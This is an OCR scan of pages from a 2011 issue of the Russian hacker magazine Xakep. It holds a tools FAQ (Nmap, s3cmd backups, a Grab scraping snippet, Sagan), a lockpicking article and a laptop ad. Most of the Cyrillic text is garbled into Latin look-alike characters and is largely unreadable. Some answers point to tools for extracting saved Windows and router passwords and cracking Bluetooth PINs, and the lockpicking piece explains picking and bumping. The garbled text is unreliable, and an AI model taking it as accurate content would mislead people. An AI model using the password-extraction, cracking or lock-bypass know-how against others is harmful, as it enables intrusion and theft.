Comdiiomer [ ——l | P bt Brpwrrd
Drley 1 7n Drlan | =

[_"__j ik Eh B b ik ehanpri Maruge P

BNetwork Link Conditioner ecTb HeCKONIbKO NpeAHACTPOCHHBIX NPOdUNEN ANA TECTUPOBAHUS PA3NIUYHBIX TUNOB
coe, puMep, 3GB30He yBep 0UHeyBep onp J11060¥i U3 HUXMOXHO NOACTPOUTL NOA CebA,
M3MeHss BeNIMYMHY 336 PXKKM, NOTEPAHHbIX TAKeTOB UM APYruX NapaMeTpoB

Nmap (nmap.org). U3BecTHbIN ceTeBoO

CKaHep MMeeT B CBOEM apCeHasne He ToNIbKo

HECKOTbKO TEXHWK LIS MOy YeHUs CIUCKaX
xocToB. OdpuymnansHas GUl-obonoyka Zenmap npe-
L0CTaB/IAET BO3MOXHOCTbL MOCTPOEHUS TOMONOT UM
nokanbHom cetu. Jns nonyyeHus rpadacoTtobpaxe-
HUEM CBSI3e/i MeX/y XoCTaMun ckaHep obsi3aTenbHO
LOJKeH ObITb 3anyLLeH C KoYoM «----traceroute».
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NetCrunch (www.adremsoft.com).3Ta
npodeccuoHanbHan Tyi3a caMocToATe b=
HO CKaHWpyeT 3aaHHbIN To60/ AnanasoH

rumint (rumint.org). laHHas yTunuTa He
BbIMOJIHAET aKTUBHOE CKaHUPOBaHUeE, auc-
nosib3yeT AN BU3yanu3aLnm SaHHble, Ko-

TopbleyTebsyxe ecTb. [laHHble And BU3yanu3ayum
TOMONOTMM CETV U3BNIEKAIOTCS B peasibHOM BpeMeHM
CMoMoLLbto BCTpoeHHoro cHudepa nnuxe n3 PCAP-
dannacpaHeenepexBayeHHbIMTpadukoM. Mpunatom
L0151 BU3Yann3aLUnmn LOCTYNHbl pa3Hble BUAbI.

|IP-afpecos, nieT pa3nnyHoe ceTeBoe obopynoBa-
HWe, KOMMbIOTEPbI, 3aNyLLeHHbIe HAa HUX CEPBUCHI
1Tak aasnee,anoToM BblAaeT pe3ynbTaTbl CBOMX
M3bICKaHWI ByfobHOM ans BocnpusaTus suge. 0To-
6paxkatoTcs nornyeckme n pusnyeckmne ceazu!

141



UNITS/FAQUNITED

B il T B
(S
O bty Vaid ) inae vaed W

= T

Welcome to CoudBerry Onfine Backup
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CloudBerryOnline Backup caenaet pe3epBHyo Konuio faHHbIX Bobnake AmazonS3

MHCTPYMEHTbI, Kak MPaBwWII0, MOMpPOLLe, HO BCe-Taku
BMOsTHe GyHKLMOHabHbI, BTOM 4ucie n Bonkey
(thebackupmonkey.blogspot.com).

Linux. B cnyyae cTykcom s 66l npefnoxun
MCMoNb30BaTb KOHCO/bHbIN S3-KaneHTs3cmd. B
Ubuntu oH BXOAWT B CTaHAAPTHbI peno3uTtapui
[MnoaToMyycTaHaBNMBaETCs Yepe3 MeHefXep
naketos: apt-getinstall s3cmd). nsaToro 4Tobel Ha-
CTPOUTbL KIMEHT, BBECTU Napy KiKo4ei, napob A8
WndpoBaHuUs, aTakKe ykasaTb pyrie napameTpbl
paboTbl cobnakom S3, HeobxoAMMO 3anycTUTL
koHdurypatop: s3cmd --configure. HacTpoimk
NpoBepUT COeJUHEHNE, M €CITN OHU TPaBUJIbHbIE,
NpeAaoXNT COXPaHNTL UX B KOHOUIYPaLMOHHBIN
dann. O4eHb380p0OBO, 4TO B pexmnMe Hakana s3cmd
04€Hb CUJIbHO HAaNOMWHaeTrsync:

s3cmd --acl-private --bucket-location=EU
--guess-mime-type --delete-removed sync /
local/backup/ s3://xakep/backupfromservi

[lobaBnseM KoMaHay Ha 63kan B cron n Ha-
CnaXaeMcs CaMbiM HafieXHbIM 63Kanom, KOTopblit
TONIbKO MOXKHO NPeACcTaBuUTh (X0TA Noce MHLMAEH-
TacnonajaHueM B AaTa-ueHTpsl Amazon MoNHUN
B3TOM MOXHO YCOMHUTbCA). Tenepb 4To Hago
cAenathb, eCM BAPYr NOHAA06MTCA BOCCTaHOBUTL
LaHHble U3 pe3epBHoOit Konun? locTaTo4HO 04HOM
KOMaHfbl:

s3cmdsyncs3://xakep/backupfromservl/local/
backup/

ECTbKYYA®AIJIOB C XKECTKOI O

ONCKA, HAKOTOPOMYXXEHE MOHN-
MAETCACUCTEMA.HEOBXOMMO BOCCTA-
HOBUTbOTTYAPA3HbBIEMAPOJIV(BTOM
YICJIE COXPAHEHHbIE BEPAY3EPE) U
APYTYONPEOCTABNAOLLYO MHTEPEC
NHOOPMALMIO. KAK?

BrnocnefHee BpeMs pa3BesioCh J0BOJLHOIO

MHOFO YTUIINT 415 NPOBEAEeHUS MOA06HbIX
forensics-paccneposanuin. C3apayeit, B
yacTHocTw, cnpasutca OWADE (OFFLINE
WINDOWS Analyzer and Data Extractor, bitbucket.
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org/Elie/owade). O HanucaH Ha Python'e,
paboTaeTnogLinux'oM uaHanusnpyeT pasgent
Windows. Mocne 3anycka (./main.py) Ha 8080-m
nopTy oTKpbiBaeTca ero agmunka (http://
localhost:8080/owade), yepe3s koTopyto u
ocyuiecTBaseTcsa npolecc rpabburra LieHHomn
nHpopMaunm.

WHTEPECYIOCb TEMOW B3JIOMA

BLUETOOTH.CXOAY TAKMHAHALLEN
PABOYEIOBPYTAANIA PIN-KJIHOHA
(BLUETOOTH PASS PHRASE].ECTbJIN B
NABJINKE PELLEHNA, KOTOPBIE IENCTBK-
TEJIbHO PABOTAKOT?

M3 NpaBUAbHBIX YTUAUT MOXHO BbIZENUTb

BTCrack.3TouM3Ha4YaNbHO BUHA0BOE
npunoxenue (bit.ly/oKWbij), Hoy Hee ecTb nog
Linux (bit.ly/qHkCoQ). ins B3nOMayTUAMTa
MCNob3yeT AaHHble, NepexBadyeHHble BXoae
npeablayLieronpouecc obMeHa Kato4aMu, NosToMy
0653aTeNbHbIM yCNOBMEM IBAISETCA HANNYNe
namnaTpaduka (a gns cHudurra sdumpa, ysebl,
nogonget He nboit foHrn). BluetoothycTtpoen
Takumobpa3oM, 4ToBN06 NofobpaTh KNtoY He
npeacTaBnAsfeTcs BO3IMOXHbIM, N0O3TOMY NOA06HbIX
YTUNNT Ceityac He Tak YK ¥ MHOTO.

ECTbHEOBXOAMMOCTbLMNCATb
MAPCEPbI CANTOB HAPYTHON. KAKWE
BUBJIMOTEKM MOXKHO MCIMOJIb30BATbL?

/3 cTapeHbKOro MOXHO MOCMOTPETb B CTOPOHY
Beautiful Soup (www.crummy.com/software/
BeautifulSoup), Ixml(Ixml.de), scrapy (scrapy.org).
M3 HoBeHbKoro pekomeHayto Grab (bitbucket.org/
lorien/grab), 6ubnuoTeky Ana napcuHra cainTos ot
HallerocooTeyecTBeHHMKa. [To3Bonio cebe
MpoLMTNPOBAaTL AOCTYMHbIE BO3MOXHOCTN U3 CTaTby
camoroasTopa [bit.ly/p9Srxf):
e roaroToBkaceTesoro3anpoca(cookies,
http-3aronosku, POST/GET-gaHHble);
* 3anpocHacepsep (B03MOXHO Yepe3
HTTP/SOCKS-npokcu);
* noslyyeHue 0TBETaCepBepau eronepBoHayaslb-
Has 06paboTka (MapcuHr3arosoBKOB, NapCuUHT

RouterPassView nokaxeTnapoJiu, coxpaHeHHble BpoyTepe MM ToYKe AocTyna

cookies, onpeaeneHue KOANPOBKM AOKYMEHTa,
obpaboTka pepupekTal;

e pabotacDOM-gepeBoMoTBETA
(ecnuato HTML-pokymeHT);

e pabotacdopmamu (3anonHeHue,
aBTo3anonHeHuel;

® 0TnajKa:0rMpoBaHue NpoLecca B KOHCOJb,
CeTeBbIX3aNpoCcoB M OTBETOB B paitfibl.

M pnsnpumepa npusefy npocTeiiuniirpabbep,
KoTopbli fenaeT3anpoc «xakep» k Google'y nnapcut
nepsble 10 pe3ynbTaTos:

g = Grab()
g.go('http://www.google.ru')
g.set_input('q', 'xakep')
g.submit()
for elem in g.itercss('#rso 1i h3 a'):
print u'%s | %s' % (elem.get('href'),
elem.text_content().strip())

XOYYHACEPBEPETMOOHATL CUCTE-

MY, KOTOPAA Bbl AHAJTU3VNPOBAJIA
JIOrnMno 3A0AHHbLIM MHOVI MPABUNAM N B
CJNIYHAETNPOBJEMTYTXXE MOOHUMATIA
TPEBOIY.NOTOKJIOrOB O4YEHb EO/bLLIOW,
MO3TOMY HEOBXOAMMO O4YEHb LLUYCTPOE
PELUEHWE.HOMPW 3TOM JOCTATOYHO
TMBKOE, YTOBbI YEPE3 NMPABUJIAMOXXHO
BblJ10 OMUCATb MPAKTUYECKW HOBOIA
TPUFTEP (YCNOBWSA CPABATBIBAHNSA).
CEPBEP PABOTAETHAFEDORA.

PekomeHpyto nonpo6osats Sagan (sagan.

quadrantsec.com). Botanyne ot gpyrux
aHaNM3aTopoBIOrOBY HEro eCcTb 0flHA KJlaccHas
dvKa— s onpefeneHus TpUrepoB oH
MCMoNb3yeT CUCTEMY MPaBWJI U3BECTHO
IDS-cuctembl Snort. Mpuyem ecnu c npuHUMnaMu
cocTaBNeHMsA pynecoB pa3bupatbea HeTKenaHus,
TOMOXHO COCTaBUTb NpaBuayepe3 BCNoMora-
TeNbHbIe yTUNUTHI Bpode oinkmaster (oinkmaster.
sourceforge.net)n pulledpork (code.google.com/p/
pulledpork]. Kcnosy, ecniv Snort Tl yxe ncnonbay-
elwb, To SaganyMeeT B B3alMO/eACTBOBATL C HUM U
noruposaTb 06HapyeHHble CobbITUA B eronoru. 3o

XAKEP 10/153/2011
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UNITS/TPOLLECC

[ ockpicking

UCKYCCTBO BCKPbIBATb 3AMKHU

NHdbopmavumoHHasa besonacHocTb
HaYMHaeTCs ¢ GU3NYECKOro YPOBHS,
Y IMEHHO NMO3TOMY XakepoB BCerfa
MHTepecoBanu 3aMku. CerogHs Mol
MOCMOTPVM Ha YCTPOMCTBO 06bIYHbIX
LMIMHAPOBLIX 3aMKOB U BbISCHUM,
MoYeMy e UX TaK JIErKO BCKPbITb.
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144

CBepxy — wfjeanbHblit

3aMOK, CHU3Y —
peanbHbIi feleBbli
3amok. OTBepcTus
nof NWHbI Npoceep-
NeHbl KPUBO, U 3TO
nenaeT 3aMoK
Hebe3onacHbIM.

N3-3a Toro 4to oT-
BEPCTUS MOA NUHBbI
He fiexaT cTporo
Ha O4HOW NUHUN,
3aMOK 0T MoBopoTa
B KaX/blil MOMEHT
BpPEMEHU yaepXu-
BaeT TOJIbKO OfWH
nuH. Ecnvero noa-
HATb — 3@MOK Mpo-
BEPHETCH HEMHOTO,
noka He byneT
3abnoknposaH
CNefyioWMM MUHOM.
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YCTPOMCTBO 3AMKA
B ABYX NPOEKLUAX

3TOT KoY OTKpOeT 3aMOoK,
BCe NMNHblI Ha MecTe.

A 3TOT — He OTKpoOeT,
T. K. NoMeLwlaeT BTODOIZ nnH.

CaMblit npocToit cnocob
B3/10Ma — pyy4HOMN
!'IOCJ'IE,EI.OBaTeﬂbeH;I
nepebop NMHOB C MOMO-
LULbt0 ABYX OTMblYeK:
nepeaga CNnyXuT 4na noso-
poTa 3aMKa, a BTopas —
ans nepebopa NMHoOB.

Lpyrue BapuaHTsl:
OTMbIYKa-rpebenka,
KOTOPYIO HYXXHO ABUraThb
Bnepepa-Hasag. Jlnbo
0TMbIYKa, OTKpbIBaOLWas
33MOK M0 TEXHO0rMK
baMnuHra: cneynanbHblii
nesaic bbeT no uMnNUHA-
paM, N3-3a 4ero oHu
noAeTalnT KBEpXY

1 3aMOK OTKpblBaeTcs.

XAKEP 10/153/2011

3nbeupaHacubynnuna
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Samsung pekomeHayeT Windows® 7.

BSCE CEepPbE3HO

|o1u| UK

10l BUHBhALOU BUfT "Hed.l

S

[Npoueccop Intel® Core™ i7 BTOpOro NoKoneHus...
TOHKMIA OropantoOMUHUEBLIN KOPMYC...

PeBontounoHHbIN akpaH SuperBright Plus *... (inter)inside”‘
Hu4ero nuHero.

CORE"i7
HoyTbyk Samsung cepun 9. BOSMOXHO, Ny4LUNM HOYTOYK. _
Samsung Notebook yMHbIﬁ'
SERIES |9 W 3To BUAHO.

* Cynep bpant MNntoc YMHaa npon3BoanTENbLHOCTbL B CBOEM JyHLLeM BOMoLeHnn. 1 aTo BuaHo.

EnvHas cnyx6a nopgnepxku: 8-800-555-55-55 (3BoHOK no Poccuu 6ecnnatHblil). www.samsung.com ToBap cepTudumumpoBaH. Peknama.
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